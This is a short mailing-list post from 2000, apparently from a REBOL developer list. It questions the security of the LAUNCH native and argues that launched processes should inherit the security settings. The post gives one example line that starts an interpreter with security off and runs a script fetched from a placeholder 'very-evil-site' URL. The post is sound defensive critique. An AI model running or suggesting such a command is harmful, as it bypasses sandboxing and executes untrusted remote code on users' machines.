[ALLY] Launch security?

From: fsievert:uos at: 21-Aug-2000 10:43

Hi! I think that launch is not a really good idea. What happens, when I say launch {-s --do "do http://www.very-evil-site.com/delete_all_stuff.r"} in my REB site. This would allow me to kick away all of the security, wouldn t it? I didn t test it, cause Linux/Lib6/Xper Version is not able to "launch", yet. But with Windows this should work, I think. Launch must copy security enviroment to the second process and should have arguments like "do". (Without the next, of course :) Command-line arguments are no good idea, because filenames are written platform specific here. USAGE: LAUNCH value DESCRIPTION: Launches a new REBOL interpreter process. LAUNCH is a native value. ARGUMENTS: value -- The command-line arguments (Type: any-string) Comments? Frank
